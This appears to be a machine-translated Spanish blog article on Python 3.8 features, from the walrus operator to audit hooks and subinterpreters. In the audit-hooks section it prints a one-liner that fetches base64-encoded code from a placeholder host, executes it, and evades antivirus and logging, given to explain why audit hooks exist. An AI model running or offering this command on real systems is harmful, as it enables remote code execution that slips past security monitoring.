Python 3.8: ¿Qué hay de nuevo y cómo usarlo?

La siguiente traducción ha sido preparada específicamente para los pitonistas que están interesados ​​en leer con seguridad sobre las nuevas características de Python 3.8. En previsión del lanzamiento de un nuevo hilo en el curso "Python Developer", no pudimos superar este tema.

En este artículo, hablaremos sobre las nuevas características que se introdujeron en Python 3.8.




Operador de morsa (operador de asignación)


Sabemos que estabas esperando esto. Esta expectativa se remonta a los días en que Python tenía prohibido deliberadamente usar "=" como operador de comparación. A algunas personas les gustó esto porque ya no confundían = y == en la asignación y la comparación. A otros les resulta incómodo repetir el operador o asignarlo a una variable. Pasemos a un ejemplo.

Según Guido, la mayoría de los programadores tienden a escribir:

group = re.match(data).group(1) if re.match(data) else None 

En cambio

 match = re.match(data) group = match.group(1) if match else None 

Esto hace que el programa funcione más lento. Aunque es comprensible por qué algunos programadores todavía no escriben de la primera manera, desordenan el código.

Ahora tenemos la oportunidad de hacer esto:

 group = match.group(1) if (match := re.match(data)) else None 

Además, es útil cuando se usan ifs, para no calcular todo por adelantado.

 match1 = pattern1.match(data) match2 = pattern2.match(data) if match1: result = match1.group(1) elif match2: result = match2.group(2) else: result = None 

Y en cambio, podemos escribir:

 if (match1 := pattern1.match(data)): result = match1.group(1) elif (match2 := pattern2.match(data)): result = match2.group(2) else: result = None 

Lo cual es más óptimo, ya que el segundo si no será considerado si el primero funciona.

De hecho, estoy muy satisfecho con el estándar PEP-572, porque no solo brinda una oportunidad previamente inexistente, sino que también utiliza un operador diferente para esto, por lo que no será fácil confundirlo con ==.

Sin embargo, al mismo tiempo, también ofrece nuevas oportunidades para errores y la creación de código previamente inoperativo.

 y0 = (y1 := f(x)) 

Argumentos posicionales


 def f(a, b, /, c, d, *, e, f): print(a, b, c, d, e, f) 

Aquí, todo antes / son argumentos estrictamente posicionales, y todo después de * son solo palabras clave.

 f(10, 20, 30, d=40, e=50, f=60) - valid f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument f(10, 20, 30, 40, 50, f=60) - e must be a keyword argument 

El alcance de esta función se puede expresar en una oración. Será más fácil para las bibliotecas cambiar sus firmas. Veamos un ejemplo:

 def add_to_queue(item: QueueItem): 

Ahora el autor debe admitir dicha firma, y ​​el nombre del parámetro ya no se debe cambiar, ya que este cambio será crítico. Imagine que necesita cambiar no solo un elemento, sino una lista completa de elementos:

 def add_to_queue(items: Union[QueueItem, List[QueueItem]]): 

Más o menos:

 def add_to_queue(*items: QueueItem): 

Esto es algo que no podía hacer antes debido a posibles incompatibilidades con la versión anterior. Ahora puedes. Además, esto es más coherente con los diseños que ya utilizan este enfoque. Por ejemplo, no puede pasar kwargs a la función pow.

 >>> help(pow) ... pow(x, y, z=None, /) ... >>> pow(x=5, y=3) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: pow() takes no keyword arguments 

Depuración con líneas f


Una pequeña función adicional que nos ayuda a usar un formato de grabación compacto de la forma "variable name =" variable.

 f"{chr(65) = }" => "chr(65) = 'A'" 

¿Notaste esto después de chr (65)? Ese mismo truco. Ayuda a proporcionar una forma más corta de imprimir variables usando líneas f.

Concha de asincio nativo


Ahora, si ejecutamos el shell Python como 'python -m asyncio', ya no necesitamos asyncio.run() para ejecutar las funciones asincrónicas. Await se puede usar directamente desde el propio shell:

 >python -m asyncio asyncio REPL 3.8.0b4 Use “await” directly instead of “asyncio.run()”. Type “help”, “copyright”, “credits” or “license” for more information. >>> import asyncio >>> async def test():await asyncio.sleep(1) … return 'hello' … >>> await test() 'hello' 

Python llama ganchos de auditoría de tiempo de ejecución


Python Rantime depende en gran medida de C. Sin embargo, el código ejecutado en él no se registra ni se rastrea de ninguna manera. Esto dificulta el monitoreo del funcionamiento de los marcos para las pruebas, los marcos para el registro, las herramientas de seguridad y, posiblemente, limita las acciones realizadas por el tiempo de ejecución.

Ahora puede observar los eventos desencadenados por el tiempo de ejecución, incluida la operación del sistema de importación de módulos y cualquier enlace de usuario.

La nueva API es la siguiente:

 # Add an auditing hook sys.addaudithook(hook: Callable[[str, tuple]]) # Raise an event with all auditing hooks sys.audit(str, *args) 

Los ganchos no se pueden eliminar ni reemplazar. Para CPython, los ganchos que provienen de C se consideran globales, mientras que los ganchos que provienen de Python son solo para el intérprete actual. Los enlaces globales se ejecutan antes que los enlaces del intérprete.

Un exploit particularmente interesante y no rastreado podría verse así:

 python -c “import urllib.request, base64; exec(base64.b64decode( urllib.request.urlopen('http://my-exploit/py.b64') ).decode())” 

La mayoría de los programas antivirus no escanean este código, ya que se centran en código reconocible que se lee al cargar y escribir en el disco, y base64 es suficiente para sortear este sistema. Este código también pasará niveles de seguridad tales como listas o permisos de control de acceso a archivos (cuando no se requiere acceso a archivos), listas de aplicaciones confiables (suponiendo que Python tenga todos los permisos necesarios) y auditorías o registros automáticos (siempre que Python tiene acceso a Internet o acceso a otra máquina en la red local con la que puede obtener la carga útil).

Con los ganchos de eventos de tiempo de ejecución, podemos decidir cómo responder a un evento en particular. Podemos registrar el evento o finalizar completamente la operación.

multiprocessing.shared_memory


Ayuda a usar la misma área de memoria de diferentes procesos / intérpretes. Básicamente, esto puede ayudarnos a reducir el tiempo que lleva serializar objetos para transferirlos entre procesos. En lugar de serializar, poner en cola y deserializar, podemos usar la memoria compartida de otro proceso.

Protocolo Pickle y memorias intermedias de datos fuera de banda


El protocolo pickle 5 proporciona soporte para buffers fuera de banda, donde los datos se pueden transmitir por separado del flujo principal de pickle a discreción de la capa de transporte.

Los 2 complementos anteriores son muy importantes, pero no se incluyeron en la versión de lanzamiento de Python 3.8, ya que todavía hay algo de trabajo relacionado con la compatibilidad con el código antiguo, pero esto puede cambiar el enfoque de la programación paralela en Python.

Subinterpretadores


Los subprocesos en Python no pueden ejecutarse en paralelo debido a la GIL, mientras que los procesos requieren muchos recursos. Solo el comienzo del proceso tarda entre 100 y 200 ms, y también consumen una gran cantidad de RAM. Pero algo puede hacerles frente, y estos son subinterpretadores. GIL es un intérprete, por lo que no afectará el trabajo de otros intérpretes, y se inicia más fácilmente que un proceso (aunque más lento que un hilo).

El principal problema que surge a este respecto es la transferencia de datos entre intérpretes, ya que no pueden transferir el estado, como lo hacen los flujos. Por lo tanto, necesitamos usar algún tipo de conexión entre ellos. Pickle, marshal o json se pueden usar para serializar y deserializar objetos, pero este método funcionará bastante lentamente. Una solución es utilizar la memoria compartida de un módulo de proceso.

Los subprocesos parecen ser una buena solución para los problemas de GIL, pero aún queda un cierto grupo de trabajo por hacer. En algunos casos, Python todavía usa el "Estado de tiempo de ejecución" en lugar del "Estado del intérprete". Por ejemplo, el recolector de basura hace exactamente eso. Por lo tanto, debe realizar cambios en muchos módulos internos para comenzar a utilizar subinterpretadores de manera normal.

Espero que esta funcionalidad se pueda implementar completamente en Python versión 3.9.

En conclusión, quiero decir que se ha agregado un cierto azúcar sintáctico a esta versión, así como algunas mejoras serias en el trabajo de las bibliotecas y el proceso de ejecución. Sin embargo, muchas características interesantes nunca llegaron al lanzamiento, por lo que las esperaremos en Python 3.9.

Fuentes:


Source: https://habr.com/ru/post/472432/


All Articles